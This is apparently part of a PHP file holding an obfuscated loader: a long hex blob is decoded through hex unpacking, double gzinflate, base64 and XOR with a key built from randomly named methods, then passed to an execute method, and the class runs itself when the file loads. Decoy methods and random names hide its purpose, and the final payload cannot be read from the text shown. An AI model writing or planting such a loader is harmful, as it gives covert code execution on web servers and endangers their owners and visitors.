a8e7f803fd81d426bd540ef95150f097129c4cfd60b6c2fc02eb80f7a9932f8678d4c003806d1007380bcfc16646f457c82f5568d6805b51b7a268ccb5e9263f5391ef21bf384b91c7f9bc908b4043ccd08d24dcadcf884338677be36d9972d6003644bd439c9b7fa7107f99be27f90d8ff7f35e09d41b6dbc12c873901fe586bb54b533c475edd38c0cf5e03f14fa29cac56ee29bde015eca261ea7e827015e24a1db99f40eb15fd8c3febc36b9b9a0cfab6de0737b2d81df3a77b4677d88747ea33a88e9267f54c06f51afb9bae2393b04f92579339ce1fd5803f9d3221fb372d8e5fbb69d743cbb15cef5dc2aff393bd1af885f211ea8a2909764853e1c3807ed51b7299dd76491e773560bb2f010c7786ed34f7e4b2280ba921615ea7fa28e926981a7a687a3c7395336d6889750cf8a909e8afbc41bf17c3e45dd98386321f66d5fac05ae7be601d4079f1e5497b95ab0437623652132af8903fe673b9c7b693a17562f8823692b3ca7c53ee389a7bafc84f794359ecf87b686df775672bd677b710dc9083c0e7504518f53972dea331abb061c6933dfeea9c47a8bfaecc14e90d1b1ce472694cf90a8594a3af87de837e8eac6407dbfb05905dfb3f6501f04faf544db49a75b039ec0f372406306f060a23f8d89d91efb3c4e17d672f4472f98b542a5a170c4fac5d6de9a37e9012fb92f8df786a6735d223b89fe5555578b26d61f86d7537f16eac8633c1c75079fb375a91f3f30fe745840bc4b924ae0a9b31c605007bc237ad7a57d1af423d21af219fa93609f1529e5a40f8d3a89f98303576ac4a2e27112c3ef2b4f33ffce6788b35ac02f0d503c0d38d2357693d7d28d7f69b7d8b0b970a15efed9e81e3635e409a9c2d3ac818ddadce079dba3535bed9b4be616807b8a496f5b63df2fd469e0478077575505b8d5740d6dcaf6835fec5829067822495427af47b1fea8c3762fc4e8b403d4f6cce61c38642b263f76a080a8b31ea5a6b4047d5e81df1c619ff9ac7ba0de21ac5fe6a9bbc39bc739d3e2067c93a9691e36077c56bf5757d4a5c2734cf4d96a9f56bb1344d05be180c7a1aeedd902af5ecdd28ec4a893a8ba48b4f0bc8ab355c8daa31576af115fbb5141fc015f2157e5d04fb8198d0cd0cf94c2ef33bc835f51d27713a3cf56bdabd15fd4a1dee82acfabfc10c9e5f0f33e555c8d5e8c8093a3eaba3c4cfdf333f95699eca60272b00ef5cbd1771cf020ce5dcbe55f80cb638df845aee6ad186958a69572983fb32dd477cf71dec2154d280677a488af518f13f81881bfab723ce7837a84fdc24bcd455b00ce7aff8943c67dd6c1ded103f04dd24cfdfac0c118f61355ab914bbcbf857c7d2d002f152629e16f63c0f34594e4a4d82b6703d477cbe779233b77d59a683a6f2f06706433f54bc90dea8d36b13d859706e2b6d8232e502e9f1dc5e3983f2de0973b517a05f92c999b6ee55332b2ead5502ea8484b95a24f0c7ecf5ca30e728e7d48900181d638f89e7229d51e70b2e860fdd0d76b053c2e95f83dc32bf22aec9b81efd9b5a85bd11ee6c44afd49683744faa65077a44f446220cf2b2e8a7d32f35b1da778ff80e7d70d23ec99c9f164f73401dc033832a0d82f1c3a9c6bcd94ba28c4e59b14fbcf623de345fe613b0a756cb81cf5baceaa628f7e13ccdd53b5c97bae953f8951f0d7e4b75441352f0073add1c7c8d2b6d524eb81871f0f377cded75f5a03e5843a1d769f04cff5e17914f044d996007acb16e3763fe9eb4341388a51019e2805593a36e90545b03f8727e04861ae90cf64c6b1ff935fd3914ffe39f03c2a7b9c03ab37c5a1f063afd10fe529671c75243ac0bb667dac34ce3f24dbea058946e1bd9a3e5211e13c6c6a438c87fe82fb1a1017e4f9c508f5888533c8673e57c9cca2ffdf5c0559767478fe62813702df9c74f2b300fbcf00bf0c95d3375850c65fe9a1eaa838a15e1757bdea450d3cfa80fe0f5677a9bdd1ada4cbbf80f72983fa21727d3e015e82758f2b9dcb13fa3be1b97e519447d41f1416f027eceb90e6588ff4d4178bf75c0f40ac5f5975690be50b759aee99e58d8f7586fa9f9097ce35019e13a61f11de1f8965a9261f9caf5b0278c294807b1cfaa8c03f0dfbd3041ae7a48eb00eaf5a7fd93a6cde44f7b81a724f26df01fa05bc0afb90ea3014e8dbd900ce4a7a1325506f23ec530dac77c7c9af6ee201931fe6c3a01e99c6b9dd9a851acf51da13cea1543d9e837dee184dbded486b71dd051998f61bb659cc2bd2cd1abf5093ae98c40e705d230f30c05301b9bc335790da7d7de05c56a1d333706ea99fc99cebf186be2dd50bea58e70ccee78446103ed80f4b55ca3a39d4d4039ea089f4cb8e69d45bcb07de2d66535fde45a1efaa6e2e14e2e8f142bd20c02f2df07eec077b43df32c0c980e73df087ec69ba2fe01d24ab4a857de23ce5e2087b9518d6c0a68ed0e76e807c76acc3288d487f51788fbe97501fc66ba2ef15bf5086b8a77d09a8ef59a7c63ac9e07d32a9c78c02eec17e61d4f1947dc536b633e4eb06cfa395b1474568944c3e9ab4e741b0b3b0d5a67e6fefe17b12c0e5e42ff475369b153193be4da07ed6a3849f66e8ff6ebd1afcbb45480df9a5ee50d7482545b77a1917403d92c0e356a4d11e30d212f630031ca2ebeaa59ce90b5bfb684b1d1b01d7d91acf6de4fa87d6a9067e7b31d85f40fb0cf052ac4803fb4c7c208aa906d4a5826cd4252e27f42dbf31f457bb30b956b05f2e90cfce983f61dd8f905f10b716d5ecb30f0771ca289e970f975aa0eec178407d6faabdd01bd46b2ece38073de952b974df5cd21af0fcaa8a28e479566aadaea8070f78be29f5ca431c6dd41efddc48f7d3073c82f853bc3512f2ae9da17f470ef9331414e77d3fb0734b9035fa785774d2ff847ced9694cf560cf75ef31212eba689b0293d3d02bfbc1ca9dfa26ea8e89637d5794137d8ffd2f769d715930e01ea869af1835f1ba706f47353efd87758fb615bdf329cd7eeb55e091346c4d0856fbc0b516fdb00074d4c51206f5401fa3b1527259c9f78f106f55bd39bf2e39e86e803bebe245037ab32d5537f24a7c01b9bb31aa3049fa7057b4ebe181b5b17eefe84ba56aa8d7095407f842fa863acc4f3977606f150d63735900fc8d7384ff93cd22f782f40997536471f6975867a04b5a9a19d441d48833a6617fb5171d5a17e2bf609509213f417b51ba82bf0ee95eb523a5fc13e53be15a9a878ae42da1678fe125ebfa01ed1ccca2865a82f2c0127cf450379fe8706fca9c26c3ee95c7643a1ae0b6134ea2f918f0afd18227b9a7c3f263fa2758d7c2c42ff1c82baee7a08271dba2543fff7ca3761331b1b6ea03e0cc0fb5db4c5f3f2231dd2bc42fdcf75a7c972af6ed133ec00d7411c5586029fd6c08beb7cd2d51ca35d2e32e4c557f89d6f07c4137ed96b8f734bf60e79e93bec6bc02f495891dc9e504f1c7d7ad137de633f6631cfbb7b5e6f269e1a4039a47a8efd3d2b9f38f8b319f671da0a7d4680439ef988f501f589da6f99fe7cab6f4523c5a3475d2a7a5bcd0d1090462faa70b610bcb3a89378e4173d0bfbe2503bf441652493419e55a8abd203ff435dd4b4537201f18e7d026d59c9019085c63b051232e455e200f5ef372b865d3d6f611d1681227ea326df4e726bc4a732a843d7897d72cdde0d075e15a5c0371fd3396ded7ac0f332c5f309069fa3b7f519754e4e3250a823c8d187e3255a6d249ea39c2c9054d43dc83b77ca3601e4cfc795ca69eef301bce5cf13841bec2d56491aa6d7bce6e8bfc9b21dea24e2dc35d4972dcedf16de3fd18fddecf37be83ffd89e2f9a7ad4c3784a8a703ef055e30e417f25587a2b9427ed9d68093a5ce028af3e8f3cc871ddedff621f0aa03e04fe01ded815fda7535c2f7d4320d277d45bca764b6e8fa1f547688cfc68a2ebf276ea8b0df2d94b66e5eb6d006d6017dee1cdb633eb3faa1eb39f000c81380074bbd1717a87ff3c6110178b7343ee1c98c357c9674a667475807ab7d72cd3b72822f5c4a719fab6e290df254b776a95c46e14ca37f63ddcc5456c5ed0ad6a1ae659d42deed6b3fdabc4a92822cffd27e94f426a0aef867431e227ce90275fdda3841bd9917a49eb61612ea66faac1d7dc3f969d4d750dd3da1b7e51596eacfd67795415f289c1fc33ed592bd42d55ac483a82f9c036c399cd52ef203e0f21e75cf3de4a5ef2d194a3ec3fb23a681df9ef895de8c026ca5db49a7adf6cb537616c749bfc741c59e53f47fb824780ff452f1d4c769b4ad2ef45a45ba3efaf6a89c1cac47bff9f420815729bae0661fcd2a01e8877ee5c0fba5a1aec2f9b1aa64c03b5863519f0ff6752d1e275bd137f4f7d50045a6e789afefe87f5b95890821e493b27e031c0279177d889b4c0bd8d7da6f2df00049fa4e0b1fc38b077cddbbb65b87d545c6e8739ec6b69974a2986d33e01d5422bf151ff939ad2570220ddf496dd68f49671d783f60b2d2e03c9751db302ec6300a00cfd3772a019fc13a1ce6a8df9abb09678509a9c4b26f449ee3fe34dde46f9873f300de9100ef67d81fd21f35f0b18da80b0d7950dc53b62f2e38df9188bb549704f1a76ed1bff1929250a19ebf2d9956805b3f53a863b5a0ab80ba8e633f3bd68744c2f7c4390d595469d9a25e25d6bf03ac3bac1ffa31b0c95f3ba24ba89bab94deb219ceb9e19c7068da3d5a5f61ffa7b9c2fab102efc74a8abad9fa9e667b6d31de99463d08f47b717d4b00bf5c13c86779759a910fc3a35b35d0047880a54ef5b51892ba029c8c3af2badbe8cdc257ddead9eabb319786a90e821ccf7b38fe757e40fff09f3e93dd0efde304c4ad129f21f0f05ed1de25721df3ab8ab9c836c9d44ffb350ffbe63df3a2510ee288b0937d266924dc99c92e61c08fc26ef2f3a6e82fca3b56b7b360cb67b0af83e278245102b82ec8e403788e682302758caea8dea07ec1e85a8fe78a190d6944012fb5a86f6a46b1af51d756207ee90f8733ab615f07aa7338cf357077877cdd8bea2a014f74a22981e7c44d0f69b1b1ae790f85fb36f1c67302fce13e876509d51efd1b57b346ac01bfe45275a84b95429ed741c580373ad4cb73784fd2e4b70c7e1fced565310b95c7fe4fc459e6baae5497f0762600cf7fcd2ba89bb9a61923cad5c4417e494fe81faec943aaa705dee8c714ef4551974a5ad5700678493a5eb0c391d893961a90c1973adcf253a9b16ff4130a5ee178b7fcb32538b75bc715845a52a22eff57f0535fdf7e2891b9ac23757ea650df81ffa1dec53e9b577e316f3bf41959433e93531f5915db5938d02dbccf1d85fa00c1dbda4db48dc4885db212cf2714fd42bdedd25c70be382dda5784f5c1ab20427def231312f0bc6b601d0e5037d10f454266b971a1cf2de9c3091790dc34c8ab787d86fdb2ad4996429d7e661dea245a3be9599180a933f63da1df678fe721c710fdd139ac99b95fc3a8498e44be53917eb34258d44f16ce39e580ff3dd51cfd11528dfdfa0bc09f0354ad02f5159d19f283d545ad6876459d4bac7f91c8cf4a3be001e91d6a1eea36498eb800cf3538f6ddd78e072de009c0bb1acfa1d7c0aba6f3eb3373a83fb8f295401ddd75acaea282fd2912c0bbd58ccdaa42d49018124a51e7847dd830057c9d102a965addec85d3e5cf7992ab85cfb9e9de22bc1633de67dbac439dcbc1d5e24b67b7b6469d6e4507c1207f423efbde902553b33a5690c5115f038f1b0df6e112893af263ed56a9dd64bb887444a33e6db57856fa71066611425e0a436f658af3d3af965438d7e3ed07ac3be097fe08f52829440a7565b1017c3de34212883fc091ab4d286bc0bbbad126ba8643b4cb04cee7b4be463dcebdca0bfd409d21aa615f433e03feb08c386f2bc05936bd603fb478553d6b728af3391ae2c8e97ac3ac74d81ff92861dd7b4ebfce0dc9439cf7e534d769596f0dea21b11c797fca1cf3b977877a9e9f8017ff30ce87ea9ccc951cc60671f2ac1655972bc091938ebcc27b3c672d23e285fafac01bad941d613a607493cd424900810cc6c44b63686fd218e2ef05f5bd077e44554205bde47e79b0b72689fcfd091c43983dec334f06d415e3f142c0be9629b7052fd93c2c20cf77eca03de0ac6e783b9c9b4490cf403bc413ca571af57bbc9ae6f16847d36b94559c793342dda4eca429fb56cbf190cffd4eb80cf8d8a3349be525d4fa06f581f1787d0c75ba0736946a6e5f7c447db0b401ca70c904ddd9730b75ac43bde6506f503ff27306b855c2f76493fe04c7f9541b54814f6b927fa88e7d3b8afbd6a2df0bf9fa013c007e1dfac6f7c073267e54199c6fe4e89755bb2a6a6d4e1eb596b207be924cf7f624bf69fda5d8bc38039f3e9fc434e706f8d3cad3e4ff0ed92fd0878ca4a8b9d1d70e7d38580938127847c7d413fba9c7ef27ba06fc99e3795dd95c92f710eb18ea20c3ff4f7e1a1ee74c1bc067c15cbb3b1a1bcc819b12bc870de386725ff33446ff9ce86cb04f9c6aa863c56f4709bf0f70b9ec5c0fb83c01663d2a2101357eaa0a759e81db3506300bf69747f00cc93e34fabf53e463f9b1a44bf81ce09e0d7e0ef0990c201e543cdd6bbfd222347aacc6e238f9a77685b7dd08f82c4a24e45d888352dd707e7a39dd9e239e409e0af9c5e2fd835132ad3b563257bc72b93ce5b7b4161eea26d407bc7f87faee202f9910ef5708a009d3e4d5b5789a224b8f50d698573f7dfcceed1175b7b4ce0067e50fe3030fbca3ac6245e1df30c9253de838e938fab14b51eb69be7895a2ef55a4519fa8137abebc2bb118d1a762c23d1e7e1fea16a27e79446a4bb07f420d80ebde207fd691407f27cfe96681fd48905f5097b15015ceb95d265d954e05b6ce1cce0dead7d4cf7ea65be063501fb0bf8e75bc7343dab99c5fb0cfb8e6c905e7d8319f0106f498775d90778b5d766edb82f6674a07ceaac967f9fb492752bdb08f3313c9acfde0d77c6d06d447b1e87370cdf42ac9f6ec20dd0ae7ff84a922a8d35fc08f1e1b63d69897aa66460a833e4663f653679d6a8f3e23883f23bd3c439ed8e86781e7c24fc0911b33837c8bbe81d7e62dbcd05b18315ba39e876c719eb246ddd0a2bb3f51ef90ced757e3bf3ac8d719f63573da57296f2dc4c36814ea1247ef0cfdd5e803f91fe0d6758f3ecba8275ec1fb6c3bd8672f7dac9ca2d35c8879f80a7d03e934f7e273777fb3730d7c13f504ba08ef5343c086adec9442ff612f545b027e993557bcdfccf5034a9f0d32b73cd4e83389bedcdd43eb0df03f8df7a20b539519ad34ec7ebcc7bba00e4f7aa8a53d512f2f96e0fc91b6d867c59ca7f4d6429d1e9ec80338ea7940b549500f2b4e01f79013e056f4579b59bdc479840f29f05cd06fd8331a4382fd134ba8470c7d116d322b204f586f589d655d7a0865f15be6e8f670c6796dd43f437f43d8d7cedde0f799898f75cc242ffb01f52f080776c835e2827e76d42bbc9fb6e8e7c6ba05c4bbc039be0be0acb88a33d42180f503bc645ae0ef12f23c4d58d7fe96c3bbc836f9a1108fc1f88eb12a051e10cc5b9d49355b1fb9b70ae2a8e0e8db12d9432ebe20bfe86f80eb4e871bfa62f827ea24b2b9bd5474314fe500797eadaa4927783c6863d73c60769aab133dea2e034fb5fb82acbc210ba12a60c6945c134822d5157d2a146f2feda1e2e9aa2ab0ef02f55bf56871fe0845681df062d499dde86ba8d1ef0c3ec79b0dea51031fcbc22bf2cd283b7ad477a3970ce208fbcf0a325e0cc13e5c39abba8024e873776d62d40405fc72345758bfa0c93291b7b46bfa9cac55b6aff382de3dee17c475d817d43ac82f33b541dfc7049bd04c827a951f539f15e93df01ca8efe4540046a2e847741377857a09626142ded0cad7d8af7f342fb60e0ba8b71ef220e425c8831f38678a738a54c03f7e43bd92f519efb5d5cc1e39ad43d473d4d37916ea527d59c0a4632696757eab77b21bff520ee72d9a99f16ef2cfa9cafc883e0ecd2c82f7020518f5cfa43e6aafbfa1ee723d27b6847c66fc7d43e7ac8714746ec583a94947108a494c24e05de0b71047224b80994ff3efd919700ffa14ba04fbbd21fefcd838bcefc8f7c0df6bc4bba87bce55719afa4669d3c3f785f799ec8057f55a74b1de4b62b424a9431c02bccaa7362da7738db3415edcb52dbcc9734d5689adf2bdf4cbbf18e995aa56cf0a750bbb7ef271c0f3ace692caaa44fdc124b31a67d88ab925a857091481765e79c04b739c4ffdfa33d1be32f0394572785eda54e60bde8b7ab7a400de98bf720ffb656e3f0ae7aeaa5b037e411d56c0c938bf82739fb2b5a76b9099f8d3a9216f2cf9dca16e764ec68f1c7574dd8ae0fc03ddd44f4e1704f02eaf78bbaf34f64f00ae37755731713a92af0ff48d380aa8d9550171bbbe50017c65a31f95fc2449474485be3baead1213bd6bce5ea6b025ea9f85427bf431b29bf143a23e835e71b517807b825902b8405ddab282add94c3eeef70e7db66a9d648af480b3f05e1be24fdc3d2343a443393702782345ff8e2454ddcff3b3d0e0bc28fadf5ac075e847fb384cf74e7e79863ccf68983bf45149f0fcf3ba122811991aa86306f5a171aeae80df87f865d942dc7e447e20947690072dd45bff4c9ca31caa5a053824e58877a1aa039e3f76b03f291bd1df309fb71fc2f9279523f015d6851dea862655581605d44d91942dd677e039d116e76f61fd820cfbc86e0cf2f5ea85fd21b0afcf2109662df6b3bf528d3a0ba7579d4e737ca8738238048870aec7369f1756108f3ad6313da7c057c82d05fe877a2546e3fc4ada70ccd7bd68730ff5413667789fa93d03bc70fe85f71d7a3a4f862f4fd699e1f9c1e0bc1a576fa86f837ec91678b186f7024198e23c5724be7aed92443db5e39240be265c4d7d10e8831a017f17731ea4f688be88e85bed1fda4ebe42e90fea06aeaaf48afd2fad04bc64ea18fbe053a886a6b42fd8676d2d99658e0e1925ca56d12ed2a3d302d67d93761ceb03f09c2ace2be5b0af521f8dd1f0bcb1cc7d8dfb6c06cf3bd567f40b5977daf7c06fd321d4cb21d139adae586fb1bf1c7deef235fac4d45e039e6fae35dee7403c94c2bf267f928dbe007fb8252e83da1c510efce17445bf3305f15067c0264a9c7ba9a9031c228e85f80c0ce9f01ec11bb19a27ae87fca2a572a99a7c6567f7dea0cf9d4cb6ccb399f50f58778b7cf3097f53a9733637929c1bd101de6590271231f52f5d3fcf06eb8ac07800dc3addbfb30f418227e039c9005f431e1c1a0df5365e423e6b61b340ed32d919a0545653516a32e912efb28ad412fd3e4592d25b343750ff9aee8be2e70cde1bceb29ca36fd958b450370fd8a7933956e7133e43df2bf49b5fcc8c045e2ceef05e16c053b56d789d71c3c67050eff5a44b95b9a3740d76644828103887a2f705e433e0c5729d718ee7adbd4e5ef45d9bc74c0d697b24ba51423cb32e48f29bd84b37bc4c77a706fb35bcfb9e4858f7eb02efb936e877165eea2bfaee1c495e528ab8ee71c2398d48faa7a69ed1673272779f27940875053c01df00560cea66bbaa18eacf475baafb11f5b0b22a85e7e5783f4dd913ea8b44bf8974c367455979a79a2b29c2f8eb690299e0b967883a580ef3e0e493769e7c184335ab480775e51372bbde57027d15ea2dfa0e8411fa578993a2cd25efd0678be602f619a50b46a1fe55eef127cea7629f80d1193f5dd8519b625da13e91a75b080bf44b3ee455bb8f30ef4a1f033e037ced50b709f212dd709271f4e70a2ff8bca2ceb04f8ef42f4bd0df17c24ab801fb20cc06ea9174ee84bece174a8d94147d2d43c05955d1d6b5f8047c06f9ba73278bfe7fe8f7827a02b0afb95cf7e82f6a2e8007bc439dd20cfd9d782f6cad99c57e6814f5cff7e9b188c8e378a585346d0054ee65a355cb9f8b157754a7b74297211d43597fa4d1630bdfe15be87d9e3ef50672d23713377ffcfdb94711f2559e6b45b3974e549505615fb3d320cf7160ff6c231fe5171f44f27e86acf1768cc8bf3ea7f79795d8f74392874d1e6f1e5dce93bfe8a507082af17cf49d5f09945e713ca8cf7f7c4ffc5c46a95b42026b9a709f0fc6214bbfeff62ae279e1f366e67348ef4e04533f66107af9ccfbbe511b1bedfb35cbc3e86df36c66d8aa9e8d7740dcf495ab22ab67fd7b21beaefbe1f3240dfb0cfbe5a3266c516f2cdff782d97991949b7cd88f34dd75e39bb824aface8b3da14803fba6f5c3e781c37322cbaa70d1bc97854d1eec1ea4d11c3fbf47131ecb6f03e95efbefee77d865a15b342d8329abb979a093bfdbe1b3e2f6af66ef9f37944bfb543c32bdffc09bf2fcdc77b14fbe1254953247bfa83ca84bcd14fc6e7cb4d28ba5dcc691af3f4a136801387fc2d52e2d6469dc84dc195cc164c027bdd273ef7d93af54bad678f8fbd6be8dbb3c98b2afb666febb7bf3fd767cdacd86d605373ff102cccde994f7ca21ec9fe96304a56bf252fd570d363efcbaf9f7b06b02d926f11734a98b5cf9f771371b6e7978c6d888de31b6125af6f74fc7a6b4afaa199b8d9a0678d4f42360e67e9f3137bdec986aad5db7087bab9da71a273fb8c8eac0c2efbb1e15b9ad4fb28bae0ba9faa2e65a4187fdd9ff704f6cb2ed605db0977fefb7dfecff7a4d11bec9790f5c34b0489de75b4d8f13648e8a2dabc44948f7d625fc031f9389461fd918df91b1dc4f7365c005e684efadfef73f1071b7c9701afe24f257924a158776f9b2bb9fcc73a14d5b07cd7ea6b2603dcd7d99a759fdfd262257937541bdd8509c61fcb2e5181a634abf742167f35340af37df746e5eab9a3fa047862fd1ffb2549aa82eef9e7775e0cef49576f8fbdf23b794f9bb933fbe8d3d30e3270bc0ca25f3ef7735fff2f9f7bff2ffb650b1cf6d778208a67510e102f09b2628cdaf17ecff802b8ce52d157f22a5fe2f7a3bacbb05c64fbbe7e66afa82ee376289c5a669e0aa8f9b79dacdf764f7582b55e483fca30bc8f3c62105f5dc3b8e05c74651eb204d6fdcc46f991f9f6ed67dc5a9995562bf76b9ed8c2f3d859c5fbe1eb5e5645f2ebba473fb2a18fb697a68ed8f2b7e2a56729cb76a5ef6669bfd897f2f126c7284ab9df941b596d467a685dfbb6892295c93bdfedd9fbbfe2210cbbdff76c75453d8f78afc48690ddc7ab3ea85bf16b1c31dd1b53fc7bdd8bbd3e573c9b27b23b403c6cf6ddc8d252019ed73e67d12e977eab2377f9d77b89e8221523a9fff77517cfeaf9b9c5f709f9f3d2024e3c5e652e68edd89015f1f0f5f1effcf9af757f05db72737fc4b4de25c3637b3cd721e5f97bfec4de2232ee86ac96fb644e69feaa5f1de34fcbab516476acd3cdcbfee379c52deb06b17b463b43ea20d2d298fff6bc679dc7613d636a79aba2bff3c4fbe0fabfe3a159f361fce3bde862fe4cdfcbebe24a3bfadaa36f92a479532e791c4567a8bb1cf0d002e2e12ac9aa28e3c684c56ad6b8d577bce7625a45f6d9b4fc457bf87d59e2d751b40fcedb6e556fe7cb77357c2de4e844f4bc8f6c28e6a9232c2f9338d410d717c6ca0d19ca68c003dd3c1cfe9d07211e5410aacf4cee877113f82e914d296febdabe1eff888728dbf9e0bd2a17f7ac10d9f15a64ffb93f6b4a2570982d0f54fac6e9b18c97036048b61d87d3be6874e6be541bf7efaa8bfec8c7af03f33256621dc4fad77a145efc8cf732dd0d7928e4e7f9bd6c587ea13cee164efa4708f965c98bee8f37bf6ef667f2a366ff8cdba9ae6486aeae5bde6cf20b7937a49d51fa68e1333dd418f82fa08cab551864657a26349f377f86c51aa2b7d968a6feda7a3f9e66d2bf45f9af7882d95fbe272bf520476f53c014b15275f40c16619ced22da5d5844ee7bc84b5caefe780b1efbed3e89e35e5476ee92dda5be3176b7491f9d540f283cea6ef03d0badc8ac549f9a3d17bfc3bec8de3de4965bcf4b19f0dc7cedf4fcef7817b2be263478a5cf3b8d6831ab864f53dc465b0f7fefcfd2d5805fa2392d6b4fc7cf6daaf22a2abfba6cf427d81780dbf38b09022042f4b5a1d12664d9911966ca82b09a670da36a9f8dd9b276223f8aafb76af8b95f705f33096c3bace7341affa8a9579b4bb66244eaf7d73ddbcc33170bbdddfafac3c8c5e504f4e5d7fa30bdcf79e2a1befba162fa337aab8a1870d62dec873844eb7896d5591f8419bbbfb1b19bc743fabdd877333aa04f5f2d379745c6af636efd8a14ff51a7df8cbefeeb7bcae0ab66b376c5647f3d46ab7df84ce25ca9ed3b8fe2a2ca9d1efab7062a01eb9a1ef0f5aebea51668a8d30ecfdd6a1fca60de68b20967ec0818d6d61b9208b2dcfe526f218eb6e7f4bd020e12d1b5d89becfdfd396c20960afe928617f5ea78234958d23b133a6745b39340f0db486722843c1801cfa642f159037969f0efc1bf71c1ff9677b3fcdcd5f0b9ffc0bb3fd79d92961d5fc171f3aa3de04112edebdf0e437dc9e4a7cde36c06796a0650d2a21fe176ec6679f408f7b7077fd7542737d9d057d743ae013c08b46e888244de7739d69571f57ba9ff9f70dda192f407d4a2dd2ea45b8d533851f0df70f23e7bd65158927b3966887be26307f1ae20bf98e258fdd7df57e354213bce29c3fc62887b6bbad5ae0ac4ef2dbbd7c9bedbc641fac43ec71dea0c79ac47eb4655764347d15ad8b1f0bc6f90cf38041f8f8a5ff7f53ff7674e1ba8f5dd6aca9fb79ffb93fa36dc16d116e2ddd5cebfa0ae2490975eec15e9907dadf73c7dbd8d43216f89001c49dffc9d87fbcf53398e6f4d90d9a2c8fecca48dda6712c6fefefb0ed63d8e17a954fa736fc42ff8a5dc64cbff8f75dfc42ea0ef97cf397ff98e3b5dc13a248ca83aa3c1b40e91fe0f3c61ecb7bf9f275978cbefb4ab6d36b6a12817342afdbc85cf89713516bca9f77103ef53ae6ce4af10efe5be73ec70933f00bf3878ceefdb2ee1551045903fd37ff015fe1f7ce5140f59f451e589bc65f7cdd8c56991ed54d75db7f41e6597baae8ae1420ba863b3b58f297dbe4bf53d2c870d1f096be77d525df340baf1ed23ca73ae16f3b423fb76b3fe27fefc23ecec6f1f172923a89b9b404571e86f4202d2e89bfae86c288ae8cf5c46210f9b2892ebbff91f131fe5f57fdecb1095efe70478871db8a4515e005fe9d6b78cdef556fa1fe9e5eb6c82a496e5af79b728962ce543b33dd37e17e47b33737ff307e0e7b4580d5c7d9d44785ffc3b8ece8f1f351fffdc3a77469f4ec6e4361ba365db47df779dd0f5bc6d212ddfc3aea84505795b15bf9f66f61be0d6ac28a22164a9b3ddfff93fff17';
$hex_data = substr($hex_data, 8);
$bin_data = pack('H*', $hex_data);
if (isset($_GET['debug'])) {
echo 'Step 1 - Hex Data (first 100 chars): ' . substr($hex_data, 0, 100) . '<br>';
echo 'Step 2 - Binary Data Length: ' . strlen($bin_data) . '<br>';
}
$inflated_once = @gzinflate($bin_data);
if ($inflated_once === false) {
$inflated_once = $bin_data;
if (isset($_GET['debug'])) echo 'Step 3 - First inflation failed, using binary data.<br>';
} else {
if (isset($_GET['debug'])) echo 'Step 3 - First inflation successful.<br>';
}
$inflated_twice = @gzinflate($inflated_once);
if ($inflated_twice === false) {
$inflated_twice = $inflated_once;
if (isset($_GET['debug'])) echo 'Step 4 - Second inflation failed, using first inflated data.<br>';
} else {
if (isset($_GET['debug'])) echo 'Step 4 - Second inflation successful.<br>';
}
$b64_decoded = base64_decode($inflated_twice);
if ($b64_decoded === false) {
if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode failed.<br>';
return;
}
if (isset($_GET['debug'])) echo 'Step 5 - Base64_decode successful. Length: ' . strlen($b64_decoded) . '<br>'; $obj = new self();
$final_key = '';
$key_methods = ['kmbFlKpu98', 'kmyFUBbz91', 'kmpZXIde81'];
foreach ($key_methods as $method) {
$final_key .= call_user_func_array([$obj, $method], []);
}
if (isset($_GET['debug'])) echo 'Step 6 - Reconstructed Key: ' . $final_key . '<br>'; $gate_token = '';
$gate_methods = ['gtvJvoVT42', 'gtixxrfZ80', 'gtqOIkUR92'];
foreach ($gate_methods as $method) {
$gate_token .= call_user_func_array([$obj, $method], []);
}
if (md5($gate_token) !== '7e99170e744f452ca53526295ee9978e') {
if (isset($_GET['debug'])) echo 'Step 7 - Gate token check failed.<br>';
} else {
if (isset($_GET['debug'])) echo 'Step 7 - Gate token check successful.<br>';
}
$plain_code = '';
if (strlen($final_key) > 0) {
for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) {
$plain_code .= chr(ord($b64_decoded[$i]) ^ ord($final_key[$i % strlen($final_key)]));
}
} else {
$plain_code = $b64_decoded;
}
if (isset($_GET['debug'])) echo 'Step 8 - Final Plain Code (first 200 chars): <pre>' . htmlspecialchars(substr($plain_code, 0, 200)) . '</pre>'; $obj->_execute_wbPpJRZU19($plain_code);
}
private function dcQQGOku77() {
$__e = function_exists('curl_init') ? 'curl_ok' : 'curl_fail';
return null;
}
public function pubCYEGf25() {
// Public method 1
$jv1 = (bool)mt_rand(0,1);
$jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
return 'valBLHX28';
}
}
LoaderRXlONB50273::init128();
// EOF